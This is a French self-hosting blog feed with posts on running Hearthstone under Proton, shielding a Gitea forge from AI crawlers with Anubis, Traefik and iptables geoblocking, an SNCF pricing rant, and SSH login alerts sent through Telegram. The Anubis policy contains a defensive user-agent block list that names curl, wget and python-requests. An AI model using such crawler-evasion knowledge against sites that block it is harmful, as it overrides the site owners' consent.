Pofilo.fr

[Gaming] Faire tourner Hearthstone et Hearthstone Deck Tracker sur Ubuntu

Pofilo — Tue, 20 Jan 2026 00:00:00 +0000

Bonjour à tous,

Récemment, je me suis enfin motivé à passer de Windows 11 à Linux.

Pourquoi quitter Windows 11 ? J’aurai envie de dire comment y rester après tous les choix de Microsoft: mettre leur IA (Intelligence Artificielle) partout, sortir des versions avec toujours plus de bugs les unes que les autres.

Bref, après des années de procrastination sur Windows sous prétexte de garder “mon PC de jeu”, j’ai enfin migré.

Tout d’abord, je possède un Steam Deck, la console portable faites par Valve, ceux qui gèrent la plateforme de distribution de jeux en ligne Steam. Ce dernier fonctionne parfaitement et se trouve être sous Linux. Ensuite, je n’ai plus vraiment le temps de jouer à part quelques parties de Hadès sur le Steam Deck justement mais aussi de Hearthstone. Donc plus vraiment de raisons de rester sous Windows.

Par souci de simplicité, je me suis mis sur Ubuntu 24.04 pour avoir (ou tenter d’avoir) une expérience la plus simple avec ma carte graphique etc… Bref, dans cet article, on va parler de Steam, de Proton et surtout de Hearthstone dont j’avais fait un article il y a déjà presque 10 ans (oui, j’y jouais déjà à sa sortie, ça date !).

Linux, Steam et Proton

Wine

Depuis que le Steam Deck est sorti, on peut dire que l’expérience jeux-vidéo s’est grandement améliorée sous Linux (surtout pour le grand public).

En effet, Wine existe depuis 1993. Il s’agit d’un logiciel libre dont l’acronyme est récursif et signifie Wine Is Not an Emulator. Il apporte une couche de compatibilité permettant d’exécuter des applications Windows sur des systèmes d’exploitation POSIX. Ça n’est donc pas un émulateur dans le sens où Wine traduit à la volée les appels Windows en appels POSIX.

Proton

Quant à lui, Proton est un autre logiciel libre développé par Valve (les développeurs de Steam) depuis 2018.

En réalité, Proton est un dérivé de Wine (un fork en anglais) et est totalement intégré à Steam justement. Valve rajoute la conversion de DirectX vers Vulkan mais aussi des correctifs spécifiques pour des jeux précis ainsi que des workarounds (solution de contournement à un problème) temporaires ou non standards. Le but de Proton étant que les jeux tournent bien et sans attendre des patchs pendant des mois.

Ce sont ces derniers points qui font que Valve maintient Proton mais ne patche pas directement Wine dont la philosophie est de garder un comportement relativement fidèle à Windows et surtout de rester générique. Cela dit, Valve contribue tout de même énormément au code de Wine (sur tout ce qui peut être accepté là-bas finalement).

Il existe aussi maintenant un fork communautaire de Proton appelé Proton GE dont le but est de rajouter les correctifs de Proton directement dans Wine. Cela permet de bénéficier des améliorations des 2 côtés parfois plus rapidement que sur Proton directement. Honnêtement, je n’ai pas testé ce fork, je préfère rester sur la solution fournie par Valve par souci de pérennité.

ProtonDB

Enfin, ProtonDB est enfin un site communaire décrivant la compatibilité des jeux Steam avec Proton en utilisant un système de badge allant de Injouable à Platine. De la même façon, sur le Steam Deck, Valve rajoute également un badge Non supporté, Jouable ou Vérifié qui permet de donner une idée relativement fiable de si le jeu tourne sans soucis ou pas.

C’est donc bien pratique pour éviter les jeux qui ne fonctionneraient pas bien. Hearthstone n’étant pas un jeu Steam, il ne fait pas partie de ces listes mais tourne pourtant très bien. Nous allons voir maintenant comment l’installer et le lancier via Proton.

Installations et lancement

Dans les exemples ci-dessous, je prendrai les chemins par défaut, ils seront bien sûr à adapter si votre installation diffère (j’ai par exemple mon installation de Steam sur un autre disque). De plus (et par habitude), mon installation de Steam est en français et le reste en anglais.

Installation de Battle.net

Ici, on commence par l’installation et la configuration du launcher Battle.net depuis lequel on pourra installer Hearthstone. Je considère que vous avez Steam installé (via les paquets officiels par exemple).

Voici les étapes à suivre:

Télécharger l’application Battle.net.
Depuis Steam cliquer sur Ajouter un jeu (tout en bas à gauche) puis Ajouter un jeu non Steam....
Rechercher ensuite le fichier Battle.net-Setup.exe (celui téléchargé à la première étape):
- Le launcher est maintenant présent dans notre bibliothèque Steam.
Faire un clic droit dessus, puis Propriétés....
Dans l’onglet Compatibilité, choisir la version la plus récente de Proton (10.0-3 pour ma part).
Lancer ensuite Battle.net et suivre le processus classique d’installation.
Le raccourci dans Steam permet maintenant de lancer l’installeur de Battle.net, on veut récupérer le .exe du launcher pour ne pas le réinstaller à chaque fois:
- Réaliser la commande find dans le dossier de Steam: find ~/.local/share/Steam/ -name 'Battle.net Launcher.exe'.
- Dans les propriétés de Battle.net (voir étape 4), aller dans l’onglet Raccourci.
- Dans le champ CIBLE, mettre l’emplacement (entre guillemets) du launcher (exemple: "~/.local/share/Steam/steamapps/compatdata/XXXXXXXX/pfx/drive_c/Program Files (x86)/Battle.net/Battle.net Launcher.exe").
Le launcher peut maintenant être lancé et Hearthstone installé depuis ce dernier.
Je vous conseille dans les paramètres de Battle.net de désactiver l’accélération matérielle. Autrement, le launcher peut parfois se retrouver bloqué sur un écran noir avec la méthode de lancement manuelle que nous verrons plus tard.

Installation de Hearthstone Deck Tracker

Maintenant, on enchaîne avec l’installation et la configuration de Hearthstone Deck Tracker.

Télécharger la dernière version du tracker
L’extraire dans un endroit “pérenne” (c’est le fichier .exe qui sera lancé à chaque fois). D’ailleurs, je vous conseille de ne pas nommer le dossier avec la version du tracker pour pouvoir le mettre à jour simplement à l’avenir.
Depuis Steam cliquer sur Ajouter un jeu (tout en bas à gauche) puis Ajouter un jeu non Steam... et sélectionner le fichier Hearthstone Deck Tracker.exe.
- Le tracker est maintenant présent dans notre bibliothèque Steam.
Faire un clic droit dessus, puis Propriétés....
Dans l’onglet Raccourci puis le champ OPTIONS DE LANCEMENT:
- Retrouver le chemin du préfixe proton (voir étape 7 lors de l’installation de Battle.net ci-dessus).
- Y adapter le chemin et mettre l’option: STEAM_COMPAT_DATA_PATH="~/.local/share/Steam/steamapps/compatdata/XXXXXXXX" %command%. Cela va permettre au tracker de tourner dans le même préfixe Proton que Hearthstone, c’est nécessaire pour que le tracker puisse récupérer les logs de Hearthstone nécessaires à son bon fonctionnement.
Dans l’onglet Compatibilité, choisir la même version de Proton que pour Battle.net (voir étape 5 lors de l’installation de Battle.net ci-dessus).
Dans le tracker, dans les Options puis Overlay puis General, je conseille de cocher la case Show gameplay Overlay while Hearthstone is in the background. Autrement, il y a beaucoup de ralentissements à chaque changement de fenêtre.

Lancement de Hearthstone et du tracker

Si on veut tout lancer depuis Steam, il faut d’abord lancer le tracker. Depuis ce dernier, il faut alors cliquer sur le bouton Start Hearthstone (en haut à droite sur fond bleu). Cependant, ce n’est pas la méthode que je préconise car Hearthstone souffre parfois de petites lenteurs.

Comme il n’est pas possible depuis Steam de lancer les 2 séparément (c’est le tracker qui lance le jeu), on va donc se passer de Steam et les lancer via Proton en ligne de commande. Voici ce que j’ai mis dans mon fichier ~/.bashrc:

1STEAM_CLIENT="~/.local/share/Steam"
2PROTON_PREFIX="~/.local/share/Steam/steamapps/compatdata/XXXXXXXX"
3BATTLE_NET_EXE="~/.local/share/Steam/steamapps/compatdata/XXXXXXXX/pfx/drive_c/Program Files (x86)/Battle.net/Battle.net Launcher.exe"
4HS_DECK_TRACKER_EXE="~/Games/Hearthstone-Deck-Tracker/Hearthstone Deck Tracker.exe"
5PROTON="~/steamapps/common/Proton 10.0/proton"
6
7alias Battlenet='STEAM_COMPAT_CLIENT_INSTALL_PATH="${STEAM_CLIENT}" STEAM_COMPAT_DATA_PATH="${PROTON_PREFIX}" "${PROTON}" run "${BATTLE_NET_EXE}"'
8alias HearthstoneDeckTracker='STEAM_COMPAT_CLIENT_INSTALL_PATH="${STEAM_CLIENT}" STEAM_COMPAT_DATA_PATH="${PROTON_PREFIX}" "${PROTON}" run "${HS_DECK_TRACKER_EXE}"'

Je peux donc lancer le launcher via l’alias Battlenet. On pourrait faire un alias vers le binaire de Hearthstone directement, mais en passant par le launcher, on peut lancer les éventuelles mises à jour du jeu. Enfin, on peut lancer le tracker via HearthstoneDeckTracker, une fois en partie, ce dernier affichera bien l’overlay avec notre deck et celui de notre adversaire (s’affichant au fur et à mesure qu’il soit révélé).

Conclusion

Il serait également possible de faire tout cela sans Steam, avec des solutions telles que Lutris par exemple. Cependant, je n’ai jamais réussi à avoir l’overlay du tracker via Lutris, et Hearthstone tournait légèrement moins bien également.

Bref, il existera plein d’autres façons, cet article a principalement pour but de montrer que c’est possible (et de me servir de mémo dans quelques mois/années).

[Anubis] Utiliser la preuve de travail pour bloquer les robots

Pofilo — Mon, 14 Apr 2025 00:00:00 +0000

Bonjour à tous,

Le mois dernier, je vous parlais de mon problème lié aux crawlers d’IA en bloquant l’accès à mon serveur à des pays entiers. Aujourd’hui, je vais vous montrer comment j’ai mis en place Anubis avec Traefik pour réussir à ne bloquer (que ?) les crawlers et les bots.

Contexte

Mon instance Gitea, comme toutes les forges logicielles publiques, se fait tabasser par les robots scannant ce genre d’outils pour “améliorer/nourrir” des IA. Dans un monde idéal (et j’en parlais dans mon dernier article), le fichier robots.txt est respecté et aucun abus n’a lieu, fin de l’histoire. Sauf que dans le monde de l’IA, on se fout des règles, on se fout de tout. Il suffit de voir ce genre d’article dont le titre est littéralement:

OpenAI dit que c’est fini s’ils ne peuvent pas voler les contenus Copyrightés

Donc on ne respecte pas ce fichier, et on tabasse tout le monde pour faire la course à qui a la plus grosse (IA).

Le mois dernier, j’avais donc montré comment j’avais du en arriver à bloquer des pays entiers au niveau pare-feu. La solution ne me plaisait pas car elle exclue également tous les utilisateurs légitimes de ces pays. Aussi, ça voudrait aussi dire que les entreprises scannant illégitimement le web auraient gagné.

De plus, chaque jour, le spam venait de nouveaux pays au point où je n’avais whitelisté que la France. J’en étais arrivé au point où j’avais totalement coupé mon instance Gitea, et je la démarrai juste quand j’avais besoin de commit un truc …

Mais ça, c’était en attendant une solution plus pérenne que j’ai pu mettre en place la semaine dernière.

Présentation d’Anubis

Anubis est le fruit de l’exaspération de Xe Iaso par ces crawlers d’IA qui ne respectent rien. Le code source est disponible ici.

Il s’agit un reverse-proxy écrit en Go qui exige la résolution d’un défi de preuve de travail (Proof of work en anglais). Si le défi est réussi, alors l’accès au service est autorisé et un cookie est déposé pour autoriser directement les prochaines requêtes.

L’outil est encore très jeune, mais déjà utilisé pour protéger des sites de l’UNESCO, le dépôt Git de kernel.org, le Gitlab de GNOME, etc…

Mise en place avec Traefik

Tout d’abord, voici comment ça va marcher:

Traefik reçoit une requête à destination de git.pofilo.fr.
Il la transmet au service Anubis.
Anubis s’assure que l’émetteur de la requête est autorisé (via la preuve de travail ou le cookie).
Si c’est le cas, il la transmet à Gitea via un entrypoint dédié.

Ajout de l’entrypoint

Il s’agit d’un entrypoint local à ne pas exposer sur le réseau public, c’est lui que l’instance Gitea va désormais écouter.

Dans ma conf statique de Traefik, j’ai donc:

 1entryPoints:
 2  web:
 3    address: :80
 4    http:
 5      redirections:
 6        entryPoint:
 7          to: websecure
 8          scheme: https
 9  websecure:
10    address: :443
11  anubis:
12    address: :3923

Ajout du service

Il faut désormais ajouter le service Anubis.

Dans mon cas, je le dédie à mon instance Gitea, de ce fait, je peux avoir plusieurs instances Anubis avec diverses configurations pour protéger différents services avec des règles différentes.

 1services:
 2  gitea-anubis:
 3    image: ghcr.io/techarohq/anubis:latest
 4    environment:
 5      BIND: ":8080"
 6      DIFFICULTY: "4"  # Fast successful response with most devices, 5 is way more slow
 7      SERVE_ROBOTS_TXT: "false"  # I prefer my own robots.txt from Gitea service (supposed to block every user agents)
 8      TARGET: "http://traefik:3923"
 9      ED25519_PRIVATE_KEY_HEX_FILE: "/etc/private_key_hex_file"
10      POLICY_FNAME: "/etc/botPolicies.json"
11    labels:
12      - "traefik.enable=true"
13      - "traefik.docker.network=traefik"
14      - "traefik.http.services.gitea-anubis.loadbalancer.server.port=8080"
15      - "traefik.http.routers.gitea-anubis.rule=Host(`git.pofilo.fr`)"
16      - "traefik.http.routers.gitea-anubis.entrypoints=websecure"
17        # TLS and security
18      - "traefik.http.routers.gitea-anubis.tls=true"
19      - "traefik.http.routers.gitea-anubis.tls.options=intermediate@file"  # this is the conf generated with https://ssl-config.mozilla.org/
20      - "traefik.http.routers.gitea-anubis.middlewares=nocsp-headers@file"  # this is the conf I used for headers
21    networks:
22      - traefik
23    volumes:
24      - ../path/to/private_key_hex_file:/etc/private_key_hex_file:ro
25      - ../path/to/botPolicies.json:/etc/botPolicies.json:ro
26networks:
27    name: traefik
28    external: true

Du côté de mon service Gitea, je remplace - "traefik.http.routers.gitea.entrypoints=websecure" par - "traefik.http.routers.gitea.entrypoints=anubis". Il faut également que je retire ce genre de lignes (tout est désormais géré par le routeur dédié au service Anubis):

1# TLS and security
2- "traefik.http.routers.gitea.tls=true"
3- "traefik.http.routers.gitea.tls.options=intermediate@file"
4- "traefik.http.routers.gitea.middlewares=nocsp-headers@file"

Concernant:

L’image Docker: personnellement je fixe les versions et j’utilise mon propre registre d’images.
ED25519_PRIVATE_KEY_HEX_FILE: ça permet de ne pas re-challenger les clients si je redémarre l’instance d’Anubis (le cookie expire tout de même après 1 semaine).
POLICY_FNAME: je vais en parler dans le prochain paragraphe.
Pour le reste, je ne rentre pas trop dans les détails, chacun a différents besoin et j’ai donc essayé de rester suffisament générique.

Par exemple, si on ne veut qu’une seule instance d’Anubis, pour matcher toutes les règles (et jouer sur les priorités), on pourrait utiliser une règle du type:

- traefik.http.routers.anubis.rule=PathRegexp(`.*`)

Le fichier de conf des “policies”

La version par défaut est trouvable ici et la documentation ici. Personnellement, je suis parti du principe que:

Mon fichier robots.txt est censé bloqué tout type de bots.
Je n’en ai rien à carrer de donner à manger à des IA, et encore moins quand je leur interdis déjà explicitement.
J’ai déjà perdu trop de temps avec ces problèmes, donc on va au plus simple et surtout plus efficace.

Au final, j’interdis globalement tout ce qui ressemble à un bot/crawler et je force le challenge à tout les autres (sauf pour l’accès au fichier robots.txt pour ceux qui le respectent encore).

 1{
 2  "bots": [
 3    {
 4      "name": "robots-txt",
 5      "path_regex": "^/robots.txt$",
 6      "action": "ALLOW"
 7    },
 8    {
 9      "name": "internal-traffic",
10      "remote_addresses": ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"],
11      "action": "ALLOW"
12    },
13    {
14      "name": "generic-challenging",
15      "user_agent_regex": "(?i)(bot|spider|crawl|fetch|scrapy|wget|curl|python-requests|libwww|Java|Go-http-client)",
16      "action": "CHALLENGE",
17      "challenge": {
18        "difficulty": 16,
19        "report_as": 4,
20        "algorithm": "slow"
21      }
22    },
23    {
24      "name": "ai-bots",
25      "user_agent_regex": "(?i)(AI2Bot|Ai2Bot-Dolma|Amazonbot|anthropic-ai|Applebot|Applebot-Extended|Brightbot 1.0|Bytespider|CCBot|ChatGPT-User|Claude-Web|ClaudeBot|cohere-ai|cohere-training-data-crawler|Crawlspace|Diffbot|DuckAssistBot|FacebookBot|FriendlyCrawler|Google-Extended|GoogleOther|GoogleOther-Image|GoogleOther-Video|GPTBot|iaskspider/2.0|ICC-Crawler|ImagesiftBot|img2dataset|imgproxy|ISSCyberRiskCrawler|Kangaroo Bot|Meta-ExternalAgent|Meta-ExternalFetcher|OAI-SearchBot|omgili|omgilibot|PanguBot|Perplexity-User|PerplexityBot|PetalBot|Scrapy|SemrushBot-OCOB|SemrushBot-SWA|Sidetrade indexer bot|Timpibot|VelenPublicWebCrawler|Webzio-Extended|YouBot)",
26      "action": "CHALLENGE",
27      "challenge": {
28        "difficulty": 16,
29        "report_as": 4,
30        "algorithm": "slow"
31      }
32    },
33    {
34      "name": "default",
35      "user_agent_regex": ".*",
36      "action": "CHALLENGE"
37    }
38  ]
39}

Suppression des logs d’accès sur Anubis

Avec mon instance Gitea de nouveau debout, mes fichiers de logs d’accès explosent. Or avec Traefik, il n’y a pas moyen de ne pas loguer les accès pour un seul service, c’est tout ou rien.

J’ai donc mis en place une simple tâche cron qui va faire la commande sed pour supprimer tous les logs sur le service Anubis:

sed -i '/"gitea-anubis@docker"/d' /path/to/traefik-access.log && docker kill --signal="USR1" traefik > /dev/null 2>&1

Il faut également envoyer le signal USR1 à Traefik afin qu’il ré-ouvre le fichier de log de son côté.

Ce n’est pas parfait, parce que ça me supprime les IP entrantes dans les logs d’accès de Gitea (du point de vue de Traefik, le trafic provient d’Anubis via l’entrypoint dédié), mais ça évite de générer plusieurs centaines de Mo de logs pour rien chaque jour.

Conclusion

C’est très dommage de devoir faire ça, mais ça protège réellement mon serveur sans avoir à bloquer des pays entiers. Ça demande également des calculs “inutiles” (dans le sens où ils ne servent pas à quelque chose d’utile derrière) à chaque nouveau client, mais peut-on encore parler de sobriété face à ce que consomme l’entraînement des IA ?

À noter également que pour l’instant, Anubis rend le Javascript obligatoire. C’est un point à prendre en compte dans le choix de mettre Anubis devant un service.

Pour finir, dans cet article, je montre comment j’ai configuré Anubis avec Gitea, mais on voit qu’on peut très facilement l’adapter à d’autres services. J’ai par exemple rajouté Anubis sur ce site pour éviter que les IA y volent le contenu sans mon accord.

[Tutoriel] Bloquer l'accès à votre serveur à des pays

Pofilo — Wed, 19 Mar 2025 00:00:00 +0000

Bonjour à tous,

Bonne année ~~2024~~.. 2025, enfin bref, ça fait bien longtemps que j’ai rien posté ici !

Il y a quelques semaines, j’ai remarqué un usage anormal du CPU sur mon serveur principal, je vais faire part ici d’une mini analyse et ce que j’ai fait pour y remédier.

L’analyse

J’ai remarqué directement que l’instance Mariadb utilisée par Gitea était à 100% sur tous les cœurs. Je vais voir dans les logs de Traefik et je me rends compte que je prends plus de 800 requêtes par secondes depuis des jours (avec des bursts à plus de 1500 req/s) depuis beaucoup (vraiment beaucoup) d’adresses IP différentes (on ne parle pas de 10 voire 100 adresses, mais bien plus mais je n’ai plus les chiffres et pas le temps de reparcourir les logs …).

Or sur mon instance Gitea, je n’ai pas énormément de choses … Rien d’assez passionnant pour justifier autant de trafic.

Le user-agent utilisé est celui de Google Chrome et en creusant un peu plus sur les IPs, je vois que 95% viennent de Chine, 2% de Singapour, 2% de Hong Kong et 1% pour le reste du monde. En creusant encore plus, j’apprends que je ne suis pas du tout le seul dans ce cas et que ce sont des robots pour piller de la data afin d’entraîner des IA qui tapent tous azimuts des instances Gitea publiques.

Donc ils utilisent un user-agent qui leur permet de pas être détecté instantanément. Et ils ne respectent pas non plus le fichier robots.txt dont voici son contenu:

User-agent: *
Disallow: /

C’est assez clair, j’interdis tous les robots (comme le confirme le site robots-txt.com).

Les divers palliatifs

Couper l’instance

À ce moment-là, c’était plutôt l’heure pour moi d’aller me coucher, j’ai donc voulu passer mon instance Gitea en mode maintenance. C’est une simple page HTML qui indique que le service est en maintenance. Le tout servit par un serveur nginx. Comme la page de maintenance répondait encore plus vite (des réponses 200), le nombre de requêtes a augmenté, et le serveur nginx ne tenait pas la charge … J’ai donc coupé l’instance jusqu’au lendemain dans l’attente d’une solution plus pérenne.

Whitelisting avec Trafik

La première chose que j’ai faite le lendemain, c’est d’activer le middleware IPAllowList de Traefik. Rien de sorcier, j’ai autorisé les quelques IP nécessaires à mon besoin personnel. Je suis le seul utilisateur de mon instance mais certains dépôts sont publics, tant pis pour l’indisponibilité sur ce laps de temps (et je suis désolé si ça a gêné certaines personnes).

Ratelimit avec Traefik

J’ai ensuite mis en place le middleware RateLimit de Traefik dans le but de désactiver le plugin IpAllowList. Or c’est bête, mais comme je me faisais taper très fort, mes propres requêtes sur l’instance ne passaient pas … Ce n’est donc pas viable, mais je laisse ce ratelimit, ça ne mange pas de pain (et ça protège l’instance Mariadb et donc le CPU du serveur).

Blocage géographique avec Traefik

J’ai ensuite découvert le plugin GeoBlock (code source ici) donc l’objectif est de pouvoir blacklister (ou whitelister) des pays entiers.

Voilà ce que j’ai donc rajouté dans ma configuration statique de Traefik:

1experimental:
2  localPlugins:
3    geoblock:
4      moduleName: "github.com/PascalMinder/geoblock"

Et dans la configuration dynamique:

 1http:
 2  middlewares:
 3    geoblock-deny-countries:
 4      plugin:
 5        geoblock:
 6          silentStartUp: true
 7          allowLocalRequests: true
 8          logLocalRequests: false
 9          logAllowedRequests: false
10          logApiRequests: false
11          #logFilePath: "/geoblock.log"
12          api: "https://get.geojs.io/v1/ip/country/{ip}"
13          apiTimeoutMs: 750
14          cacheSize: 250000
15          forceMonthlyUpdate: false
16          allowUnknownCountries: false
17          unknownCountryApiResponse: "nil"
18          blackListMode: true
19          httpStatusCodeDeniedRequest: 404
20          countries:
21            - CN
22            - HK
23            - SG

Ensuite, il suffit de monter le dépôt geoblock dans /plugins-local/src/github.com/PascalMinder/geoblock (à la sauce Golang quoi, tout dépend de votre cas), et le middleware peut être rajouté aux routeurs HTTP côté Traefik.

Je n’aimais pas trop le fait de dépendre d’un service externe (GeoJS) mais ça fonctionnait bien, les requêtes provenant de Chine étaient bien bloquées.

J’ai essayé de jouer sur le code de retour, mais que ce soit du 401, 403, 404, 500, 501 ou encore 503, rien n’y faisait, je me prenais toujours autant de requêtes. C’était même pire, plus je répondais rapidement, plus je recevais de requêtes ..

En fouillant dans le code source du plugin, j’ai vu qu’il était possible de rajouter assez facilement un délai sur les requêtes provenant d’adresses IP bannies. J’ai donc fait une Pull Request (toujours ouverte si vous voulez la relire d’ailleurs !) puis j’ai rajouté delayOnDenyMs: 6000 dans la configuration dans le but de faire perdre du temps aux robots scrollant mon instance Gitea. Je suis descendu à 4 requêtes par secondes en moyenne avec ce mécanisme.

Blocage géographique au niveau pare-feu

C’est là qu’OpenOffice … euh mon pare-feu entre en jeu.

Gros bémol, ça va bloquer l’accès à toutes les IP provenant de Chine à tous les services de mon serveur. Donc les requêtes légitimes (provenant d’êtres humains) sont également bloquées … (c’était déjà le cas avec la solution précédente, mais uniquement sur les services sur mon instance Gitea).

Bref, je suis désolé si des gens sont impactés … si vous êtes en Chine, j’imagine que vous avez des VPN donc ça devrait le faire, sinon contactez-moi et on voit pour whitelister votre adresse IP.

Pour commencer, je ne veux pas me baser sur un service externe et faire une requête pour interroger la provenance de chaque adresse IP (comme le fait le plugin Geoblock). Il existe des bases de données qui compilent déjà tout ça, autant en profiter. Mon choix s’est porté sur la base Geolite2-country de MaxMind.

Cette base est d’ailleurs compilée dans un dépôt sur Github: ip-location-db et accessible en lien direct en CSV ici.

J’ai ensuite fait un script python pour:

Télécharger la base.
Extraire les IP de début et fin de chaque bloc pour les pays choisis.
Convertir des IP en blocs CIDR (IP/masque) plus classiques (et surtout indispensable pour la suite).
Créer un ipset pour chaque pays avec tous les blocs à bloquer.
Ajouter ces ipset à iptables.

Ce script nécessite ipset et iptables sur votre machine ainsi que le module requests dans votre virtualenv python. Il est accessible ici pour les plus curieux. Bien sûr, on pourrait rendre ce script beaucoup plus propre et aller beaucoup plus loin, mais je n’ai ni le temps, ni l’envie.

Je l’ai fait en python par simplicité pour convertir les IP provenant du CSV en CIDR.

Conclusion

Il ne me reste plus qu’à attendre patiemment que la bulle IA explose. Ensuite, ces robots invasifs disparaitront petit à petit et il ne sera plus nécessaire de bloquer des pays entiers (encore désolé si ça vous impacte).

Le CPU de mon serveur se la coule douce depuis que j’ai appliqué ce script (je le lance désormais une fois par semaine depuis une crontab).

Pour finir, j’ai du monitoring pour savoir si mes services sont UP (grâce à Uptime Kuma), mais je vais devoir en rajouter sur l’usage CPU, disque, RAM de mon serveur … (histoire de ne pas découvrir ça au hasard sur la commande htop …).

[Blog] À nous de vous faire préférer le train !

Pofilo — Mon, 18 Dec 2023 00:00:00 +0000

Bonjour à tous,

Pas de technique dans cet article, juste un coup de gueule à chaud sur la SNCF. Pour ceux qui ne le savent pas, le titre de l’article est le slogan de la SNCF, on va voir que ce n’est pas vraiment approprié.

Contexte

J’ai besoin d’un billet aller-retour du mercredi au dimanche en janvier (pas les vacances de Noël). J’ai une carte avantage adulte qui propose des réductions (-30 % pour le titulaire de la carte) sur les TGV INOUI et INTERCITÉS.

C’est soumis à conditions:

Valable pour les 28 - 59 ans sur les trajets suivants:

Pour un aller-retour comprenant une nuit de week-end

Pour un aller-retour comprenant un jour de week-end

Pour un aller simple comprenant un jour de week-end

Pour un aller simple, quel que soit le jour de la semaine, si vous voyagez avec un enfant

Et en prime, on a:

Prix plafonnés en seconde:

49 € max pour les trajets courts (moins de 1h30)

69 € max pour les trajets intermédiaires (entre 1h30 et 3h)

89 € max pour les trajets longs (plus de 3h)

La recherche

Je fais donc ma recherche (sur Trainline pour éviter tous les soucis possibles avec sncfconnect). Je trouve le mercredi avec les horaires qui me vont pour l’aller. Mais pour le retour, il n’y a qu’un seul train disponible. Je me dis que je m’y prends trop tard, les bons horaires sont tous déjà pris.

Ça c’était ce matin vers 8h30:

Avec la carte adulte activée

Et ce soir, je me dis que quand même, c’est dommage de partir si tôt (9h30) alors que je pose quelques jours pour profiter d’un très long week-end. Je pars donc en navigation privée en me disant que je pourrais également voir ce que m’apporte la carte avantage adulte.

Et là, surprise, il y a plusieurs trains dans la journée:

Sans la carte adulte activée

Je refais donc la recherche depuis mon compte, et là comme ce matin … rien … J’essaie également depuis sncfconnect, depuis les sites, les applications, mêmes résultats partout.

Si j’ai la carte active, pour une recherche du mercredi au dimanche, on ne me propose pas tous les retours du dimanche.

Je pousse mes recherches, je mets du mercredi au vendredi. L’aller coûte 20€ plus cher: normal, il n’y a plus de jour/nuit de week-end, donc la réduction ne s’applique pas. Ça me propose les trains du vendredi, je clique sur suivant plusieurs fois pour avoir ceux du dimanche, et là, quelques trains supplémentaires apparaissent … (et avec la réduction en plus mais pas la même que l’aller-retour proposé initialement pour l’aller disponible dans les 2 recherches). Bien sûr, le billet aller étant déjà choisi, la réduction parce que j’ai pris le dimanche en changeant de jour n’est pas rétro-active.

En demandant le vendredi

Pour rappel:

89 € max pour les trajets longs (plus de 3h)

J’imagine que 130€, c’est inférieur à 89€. Ou alors que 8h52 est tellement supérieur à 3h que cette règle ne s’applique plus.

Je mets ici les détails du billet à 130€ (juste pour preuve qu’on se fout bien de nous):

130€ doit coûter moins cher que 89€ chez la SNCF

Conclusion

Pour un trajet du mercredi au dimanche, il faut donc faire la recherche du mercredi au vendredi puis afficher les trajets du dimanche. C’est la solution la plus économique malgré la non-réduction sur le billet aller. Et ça permet également d’avoir l’aller-retour sous la même référence SNCF: c’est super important, s’ils font grève, je pourrai annuler l’aller-retour. Alors que si j’avais pris l’aller (en cherchant le mercredi) et le retour (en cherchant le dimanche), j’aurai payé le même prix, mais si la grève n’est que le mercredi, ils n’auraient pas remboursé le dimanche.

Bref, c’était le coup de gueule du jour. C’était vraiment un cas d’usage rien de plus classique (un trajet aller-retour avec les mêmes gares), d’où le grincement de dents quand on entend le slogan de la SNCF …

Je ne parle même pas des tarifs aberrant que j’ai eu pour Noël à 2 (l’avion ou la voiture coutaient 50% moins cher) … (d’ailleurs, j’imagine qu’une partie des trajets complets que je voyais étaient dues à ce phénomène).

Pour des raisons évidentes écologiques, le train est la solution à privilégier, mais alors quand c’est géré par la SNCF, ça rend tout très compliqué …

[Tutoriel] Recevoir une alerte à chaque connexion SSH

Pofilo — Sun, 10 Sep 2023 00:00:00 +0000

Bonjour à tous,

J’ai mis en place ce mécanisme il y a déjà pas mal de temps, je le partage ici si ça peut servir à d’autres, ou encore mieux vous donner des idées.

Edit 21 février 2024

Ajout de la section en utilisant l’API PAM.

Objectif

L’objectif est plutôt simple, ça permet de rajouter une couche de sécurité sur mes différents serveurs. En effet, le seul moyen de s’y connecter est de passer par une connexion SSH. Je cherchais une application mobile pour faire du SSH en cas d’extrême urgence, mais si j’étais tombé sur une application malveillante, une attaque man-in-the-middle aurait été possible.

L’idée à travers ce tutoriel est de pouvoir recevoir une alerte à chaque connexion SSH. De ce fait, je serai rapidement au courant si ma clé privée (et son mot de passe) serait tombée entre de mauvaises mains.

Encore une fois, c’est un petit plus sympa, mais ce n’est pas un mécanisme de sécurité fiable, il ne faut pas s’y reposer et penser qu’aucune intrusion ne sera désormais possible sans que vous n’y soyez au courant.

Types d’alertes

Là, le champ des possibles est infini. Globalement, on va pouvoir recevoir une alerte avec tous les systèmes possédant une API HTTP, un client Linux, etc …

Ici, on va montrer comment faire avec Telegram et ntfy.

Envoyer un message sur Telegram est vraiment très simple, il suffit d’une requête curl et le tour est joué.

Avant cela, il faut tout de même créer un bot et récupérer son token.

Il existera ensuite 2 types de conversations:

une conversation en tête à tête avec votre bot
un groupe Telegram (1 ou plusieurs bots et 1 ou plusieurs “vraies personnes”)

Je ne vais pas réécrire une procédure que l’on peut trouver partout sur le net. Je peux tout de même vous diriger vers une procédure écrite par mes soins.

Ensuite, on peut faire un petit script bash assez simple pour faire ce fameux curl:

 1#!/bin/bash
 2
 3if [ "$#" -ne 3 ]; then
 4  echo "Usage: $0 <bot_token> <group_id> <text message>"
 5  exit 1
 6fi
 7
 8BOT_TOKEN=$1
 9GROUP_ID=$2
10TEXT=$3
11URL="https://api.telegram.org/bot${BOT_TOKEN}/sendMessage"
12
13RES=$(curl -i -s -X POST "${URL}" --data "text=${TEXT}" --data "chat_id=${GROUP_ID}")
14STATUS_CODE=$(echo "$RES" | head -n 1 | awk -F' ' '{print $2}')
15
16if [[ $STATUS_CODE -ne 200 ]] ; then
17  echo "error while sending message"
18  echo "${RES}"
19  exit 1
20fi

Je vous laisse placer ce script à l’endroit de votre choix, on pourrait par exemple le placer dans /usr/bin ou tout autre dossier de votre $PATH. Il ne faut ensuite pas oublier de lui donner les droits d’exécution avec chmod +x <script-path>.

Faites attention lorsque vous lancez ce script pour le tester dans votre terminal, je vous conseille de rajouter un espace devant la commande comme le conseille le man de bash. Cela vous permettra de ne pas enregistrer la commande dans votre historique et de ne pas y dévoiler le token.

Ntfy

Au début, j’avais prévu de faire l’article en ne parlant que de Telegram. J’avais également prévu de mettre un petit encadré pour dire “faites attention, par design, Telegram aura accès à toutes vos alertes, blabla”.

